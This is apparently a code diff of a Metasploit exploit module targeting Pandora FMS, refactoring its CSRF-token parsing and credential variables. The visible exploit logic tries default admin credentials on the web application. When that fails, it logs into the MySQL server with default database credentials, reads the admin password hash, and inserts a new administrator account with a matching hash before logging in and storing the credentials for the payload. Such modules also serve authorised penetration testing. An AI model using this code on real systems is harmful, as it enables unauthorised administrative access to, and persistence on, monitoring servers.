@@ -181,8 +181,15 @@ def pandora_login(name, pwd)
181181 # scrape <input id="hidden-csrf_code" name="csrf_code" type="hidden" value="d3ec1cae43fba8259079038548093ba8" />
182182 html = res . get_html_document
183183 csrf_code_html = html . at ( 'input[@id="hidden-csrf_code"]' )
184- vprint_status ( "csrf_code: #{ csrf_code_html } " )
185- csrf_code = csrf_code_html . attribute_nodes [ 3 ] unless csrf_code_html . nil? || csrf_code_html . blank?
184+ vprint_status ( "csrf_code_html: #{ csrf_code_html } " )
185+
186+ csrf_attributes = csrf_code_html &.attributes
187+ return false unless csrf_attributes
188+
189+ csrf_code = csrf_attributes [ 'value' ]
190+ return false unless csrf_code
191+
192+ vprint_status ( "csrf_code: #{ csrf_code } " )
186193
187194 # second login POST request using the csrf code
188195 # csrf_code can be nil in older versions where the csrf_code is not implemented
@@ -315,42 +322,42 @@ def exploit
315322 @vuln_path_setting = 'chromium_path' if @vuln_path_setting . nil?
316323
317324 # check if we can login at the Pandora Web application with the default admin credentials
318- @ username = datastore [ 'USERNAME' ]
319- @ password = datastore [ 'PASSWORD' ]
320- print_status ( "Trying to log in with admin credentials #{ @ username} :#{ @ password} at the Pandora FMS Web application." )
321- unless pandora_login ( @ username, @ password)
325+ username = datastore [ 'USERNAME' ]
326+ password = datastore [ 'PASSWORD' ]
327+ print_status ( "Trying to log in with admin credentials #{ username } :#{ password } at the Pandora FMS Web application." )
328+ unless pandora_login ( username , password )
322329 # connect to the PostgreSQL DB with default credentials
323330 print_status ( 'Logging in with admin credentials failed. Trying to connect to the Pandora MySQL server.' )
324331 mysql_login_res = mysql_login ( datastore [ 'RHOSTS' ] , datastore [ 'DB_USER' ] , datastore [ 'DB_PASSWORD' ] , datastore [ 'DB_NAME' ] , datastore [ 'DB_PORT' ] )
325332 fail_with ( Failure ::Unreachable , "Unable to connect to the MySQL server on port #{ datastore [ 'DB_PORT' ] } ." ) unless mysql_login_res
326333
327334 # add a new admin user
328- @ username = Rex ::Text . rand_text_alphanumeric ( 5 ..8 ) . downcase
329- @ password = Rex ::Text . rand_password
335+ username = Rex ::Text . rand_text_alphanumeric ( 5 ..8 ) . downcase
336+ password = Rex ::Text . rand_password
330337
331338 # check the password hash algorithm by reading the password hash of the admin user
332339 # new pandora versions hashes the password in bcrypt $2*$, Blowfish (Unix) format else it is a plain MD5 hash
333340 mysql_query_res = mysql_query ( "SELECT password FROM tusuario WHERE id_user = 'admin';" )
334341 fail_with ( Failure ::BadConfig , 'Cannot find admin credentials to determine password hash algorithm.' ) if mysql_query_res == false || mysql_query_res . size != 1
335342 hash = mysql_query_res . fetch_hash
336343 if hash [ 'password' ] . match ( /^\$ 2.\$ / )
337- password_hash = Password . create ( @ password)
344+ password_hash = Password . create ( password )
338345 else
339- password_hash = Digest ::MD5 . hexdigest ( @ password)
346+ password_hash = Digest ::MD5 . hexdigest ( password )
340347 end
341- print_status ( "Creating new admin user with credentials #{ @ username} :#{ @ password} for access at the Pandora FMS Web application." )
342- mysql_query_res = mysql_query ( "INSERT INTO tusuario (id_user, password, is_admin) VALUES (\' #{ @ username} \' , \' #{ password_hash } \' , '1');" )
343- fail_with ( Failure ::BadConfig , "Adding new admin credentials #{ @ username} :#{ @ password} to the database failed." ) if mysql_query_res == false
348+ print_status ( "Creating new admin user with credentials #{ username } :#{ password } for access at the Pandora FMS Web application." )
349+ mysql_query_res = mysql_query ( "INSERT INTO tusuario (id_user, password, is_admin) VALUES (\' #{ username } \' , \' #{ password_hash } \' , '1');" )
350+ fail_with ( Failure ::BadConfig , "Adding new admin credentials #{ username } :#{ password } to the database failed." ) if mysql_query_res == false
344351
345352 # log in with the new admin user credentials at the Pandora FMS Web application
346- print_status ( "Trying to log in with new admin credentials #{ @ username} :#{ @ password} at the Pandora FMS Web application." )
347- fail_with ( Failure ::NoAccess , 'Failed to authenticate at the Pandora FMS application.' ) unless pandora_login ( @ username, @ password)
353+ print_status ( "Trying to log in with new admin credentials #{ username } :#{ password } at the Pandora FMS Web application." )
354+ fail_with ( Failure ::NoAccess , 'Failed to authenticate at the Pandora FMS application.' ) unless pandora_login ( username , password )
348355 end
349356 print_status ( 'Succesfully authenticated at the Pandora FMS Web application.' )
350357
351358 # storing credentials at the msf database
352359 print_status ( 'Saving admin credentials at the msf database.' )
353- store_valid_credential ( user : @ username, private : @ password)
360+ store_valid_credential ( user : username , private : password )
354361
355362 print_status ( "Executing #{ target . name } for #{ datastore [ 'PAYLOAD' ] } " )
356363 case target [ 'Type' ]
0 commit comments